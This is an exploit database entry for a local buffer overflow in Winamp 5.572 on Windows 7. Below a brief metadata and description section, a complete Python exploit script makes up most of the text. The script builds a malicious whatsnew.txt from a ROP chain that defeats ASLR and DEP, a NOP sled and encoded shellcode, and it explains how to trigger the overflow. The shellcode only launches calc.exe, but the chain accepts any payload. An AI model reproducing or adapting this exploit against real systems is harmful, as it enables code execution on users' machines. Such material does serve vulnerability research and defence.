Winamp v5.572 Local BoF Exploit (Win7 ASLR and DEP Bypass)

vendor:
Winamp
by:
Node
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Winamp
Affected Version From: Winamp 5.572
Affected Version To: Winamp 5.572
Patch Exists: NO
Related CWE:
CPE: a:nullsoft:winamp:5.572
Metasploit:
Other Scripts:
Platforms Tested: Windows 7 Ultimate x64 ENG
2010
Winamp v5.572 Local BoF Exploit (Win7 ASLR and DEP Bypass)

This exploit targets a buffer overflow vulnerability in Winamp version 5.572 on Windows 7 Ultimate x64 ENG. It bypasses ASLR and DEP protections. The exploit involves replacing the 'whatsnew.txt' file in the Winamp folder and then right-clicking on the flash symbol and selecting 'Nullsoft Winamp...' and then 'Version history'. The exploit uses a ROP chain to control program execution.
Mitigation:

Apply the latest patch/update from the vendor.
Source
Exploit-DB raw data:

#!/usr/bin/python

#Exploit Title: 	Winamp v5.572 Local BoF Exploit (Win7 ASLR and DEP Bypass)
#Date: 			June 26, 2010
#Author:		Node
#Software Link:		http://download.nullsoft.com/winamp/client/winamp5572_full_emusic-7plus_en-us.exe
#Tested on: 		Windows 7 Ultimate x64 ENG
#Badchars: 		'\x00\xff\x5c\x2f\x0a\x0d\x20'
#Instructions: Replace generated whatsnew.txt with original in Winamp folder, Start Winamp, rightclick the flash symbol, "Nullsoft Winamp...", Version history


print "[+] Winamp_5.572_whatsnew.txt Win7 ASLR and DEP Bypass - by Node"

version = "Winamp 5.572"

rop = "A" * 540          # Offset
rop += "\x8a\x35\x84\x07" #0x0784358A :  # PUSH ESP # POP ESI # RETN       [Module : in_wm.dll]
rop += "A"*16
rop += "\x8a\x3d\x14\x07" #0x07143D8A :  # PUSH ESI # SUB AL,5E # XOR EAX,EAX # POP EBP # RETN     [Module: zlib.dll]
rop += "\xf7\xb8\x40\x07" #0x0740B8F7 :  # XCHG EAX,EBP # RETN     [Module : gen_ff.dll]
rop += "\xd6\x5e\x65\x07" #0x07655ED6 :  # ADD ESP,30 # RETN       [Module : in_cdda.dll]
rop += "0000" #VirtualProtect placeholder
rop += "DDDD" #return address placeholder
rop += "1111" #lpAddress placeholder
rop += "2222" #dwsize placeholder
rop += "3333" #flNewProtect placeholder
rop += "\x60\xf6\x78\x07" # lpflOldProtect (0x0778f660 writable address in in_mp3.dll) 
rop += "A"*24
#---------------Grab a kernel32 pointer from the stack--------------------
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += "\x1a\x10\x09\x07" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += "\x3a\xd8\x8d\x07"*4 #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll]
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll]
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll]
rop += "\x3a\xd8\x8d\x07"*3 #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll]
rop += "\x29\x13\x09\x07"*29 #0x07091329 :  # INC EAX # RETN  [Module : libsndfile.dll]
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += "\xb3\x6a\x6c\x07" #0x076C6AB3 :  # SUB EAX,EDX # RETN      [Module : in_flv.dll]
rop += "\xa7\x41\x11\x07" #0x071141A7 :  # MOV EAX,DWORD PTR DS:[EAX] # RETN       [Module : tataki.dll]
#----------------------EAX=kernel32, ESI=start----------------------

#---------------Change kernel32 pointer to VirtualProtect()-----------------
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += "\x1a\x10\x09\x07" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += "\x3a\xd8\x8d\x07"*4 #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll] 104
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 208
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 410
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 820
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 1040
rop += "\x67\x40\x5b\x07" #0x075B4067 :  # MOV ECX,EAX # MOV EAX,ECX # RETN        [Module : gen_ml.dll]
rop += "\x65\x72\x0a\x07" #0x070A7265 :  # ADD EAX,ECX # RETN      [Module : libsndfile.dll] 2080
rop += "\x08\x13\x8d\x07" #0x078D1308 :  # SUB EAX,41 # RETN       [Module : ml_disc.dll] 203f
rop += "\xc6\xd7\x8d\x07" #0x078DD7C6 :  # SUB EAX,20 # RETN       [Module : ml_disc.dll] 201f
rop += "\xec\x11\x09\x07"*4 #0x070911EC :  # DEC EAX # RETN  [Module : libsndfile.dll] 201b
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += "\x10\x7d\x0b\x07" #0x070B7D10 :  # ADD EAX,EDX # RETN      [Module : libsndfile.dll]
#---------------EAX=VirtualProtect(), ESI=start-----------------

#-------------Write VirtualProtect() to stack----------------------
rop += "\x82\x55\x40\x07"*12 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += "\x43\x5d\x6f\x07" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
#---------------EAX=VirtualProtect(),ESI=start+12(VP)-----------


#-------------Write return address----------------------
rop += "\xdd\xb7\x3e\x07" #0x073EB7DD :  # MOV EAX,ESI # RETN      [Module : gen_ff.dll]
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
rop += "\x1a\x10\x09\x07" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += "\x45\x35\x10\x08" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +="AAAA"
rop += "\x10\x7d\x0b\x07" #0x070B7D10 :  # ADD EAX,EDX # RETN      [Module : libsndfile.dll]
rop += "\x82\x55\x40\x07"*4 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += "\x43\x5d\x6f\x07" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
#------------EAX=start+12+312(shellcode),EDX=start+12(VP),ESI=start+16------------

#-------------Write placeholder 1----------------------
rop += "\x82\x55\x40\x07"*4 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += "\x43\x5d\x6f\x07" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
#------------EAX=start+12+312(shellcode),EDX=start+12(VP),ESI=start+20------------

#-------------Write placeholder 2----------------------
rop += "\x89\xb3\x34\x08" #0x0834B389 :  # XCHG EAX,EBX # RETN     [Module : jnetlib.w5s]
rop += "\x1a\x10\x09\x07" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += "\x45\x35\x10\x08" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +="AAAA"
rop += "\x45\x35\x10\x08" #0x08103545 :  # ADD EAX,104 # POP EBP # RETN    [Module : freetype.wac]
rop +="AAAA"
rop += "\x82\x55\x40\x07"*4 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += "\x43\x5d\x6f\x07" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
#---------EAX = 0x30c(size 780),EBX = shellcode, ESI=start+24(placeholder 2), EDX=start+12(VP)--------------

#-------------Write placeholder 3----------------------
rop += "\x1a\x10\x09\x07" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += "\x3a\xd8\x8d\x07" #0x078DD83A :  # ADD EAX,41 # RETN       [Module : ml_disc.dll]
rop += "\xec\x11\x09\x07" #0x070911EC :  # DEC EAX # RETN  [Module : libsndfile.dll]
rop += "\x82\x55\x40\x07"*4 #0x07405582 :  # INC ESI # RETN  [Module : gen_ff.dll]
rop += "\x43\x5d\x6f\x07" #0x076F5D43 :  # MOV DWORD PTR DS:[ESI],EAX # RETN       [Module : in_midi.dll]
rop += "\x74\x6c\x96\x07" #0x07966C74 :  # XCHG EAX,EDX # RETN     [Module : ml_local.dll]
#--------EAX=start+12(VP), EBX=start+12+312(shellcode), ESI=start+28-----------


#----------fix EBP problem after call return----------------
rop += "\x89\xb3\x34\x08" #0x0834B389 :  # XCHG EAX,EBX # RETN     [Module : jnetlib.w5s]
rop += "\x1a\x10\x09\x07" #0x0709101A :  # XOR EAX,EAX # RETN      [Module : libsndfile.dll]
rop += "\xf7\xb8\x40\x07" #0x0740B8F7 :  # XCHG EAX,EBP # RETN     [Module : gen_ff.dll]
rop += "\x89\xb3\x34\x08" #0x0834B389 :  # XCHG EAX,EBX # RETN     [Module : jnetlib.w5s]
rop += "\x85\xe0\x09\x07" #0x0709E085 :  # ADD EBP,EAX # RETN      [Module : libsndfile.dll]
#---------EAX=vp, EBX=?, EDX=40, ESI=start+28, EBP=vp--------

#----------------go to VirtualProtect()-------------------
rop += "\xc1\xbb\x3c\x07" #0x073CBBC1 :  # XCHG EAX,ESP # RETN     [Module : gen_ff.dll]
#------------------------bang!-----------------------------

nops = "\x90"*304

# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\xff\x5c\x2f\x0a\x0d\x20' -t perl
shellcode = ("\xbb\xd2\xaa\xfa\x33\x31\xc9\xb1\x33\xdb\xd3\xd9\x74\x24" +
"\xf4\x5e\x83\xc6\x04\x31\x5e\x0b\x03\x5e\xd9\x48\x0f\xcf" +
"\x35\x05\xf0\x30\xc5\x76\x78\xd5\xf4\xa4\x1e\x9d\xa4\x78" +
"\x54\xf3\x44\xf2\x38\xe0\xdf\x76\x95\x07\x68\x3c\xc3\x26" +
"\x69\xf0\xcb\xe5\xa9\x92\xb7\xf7\xfd\x74\x89\x37\xf0\x75" +
"\xce\x2a\xfa\x24\x87\x21\xa8\xd8\xac\x74\x70\xd8\x62\xf3" +
"\xc8\xa2\x07\xc4\xbc\x18\x09\x15\x6c\x16\x41\x8d\x07\x70" +
"\x72\xac\xc4\x62\x4e\xe7\x61\x50\x24\xf6\xa3\xa8\xc5\xc8" +
"\x8b\x67\xf8\xe4\x06\x79\x3c\xc2\xf8\x0c\x36\x30\x85\x16" +
"\x8d\x4a\x51\x92\x10\xec\x12\x04\xf1\x0c\xf7\xd3\x72\x02" +
"\xbc\x90\xdd\x07\x43\x74\x56\x33\xc8\x7b\xb9\xb5\x8a\x5f" +
"\x1d\x9d\x49\xc1\x04\x7b\x3c\xfe\x57\x23\xe1\x5a\x13\xc6" +
"\xf6\xdd\x7e\x8d\x09\x6f\x05\xe8\x09\x6f\x06\x5b\x61\x5e" +
"\x8d\x34\xf6\x5f\x44\x71\x08\x2a\xc5\xd0\x80\xf3\x9f\x60" +
"\xcd\x03\x4a\xa6\xeb\x87\x7f\x57\x08\x97\xf5\x52\x55\x1f" +
"\xe5\x2e\xc6\xca\x09\x9c\xe7\xde\x69\x43\x7b\x82\x43\xe6" +
"\xfb\x21\x9c\xe2");

trash = "B" * 600

expfile = open('whatsnew.txt','w')
expfile.write(version + rop + nops + shellcode + trash)
print "[+] whatsnew.txt generated."
expfile.close()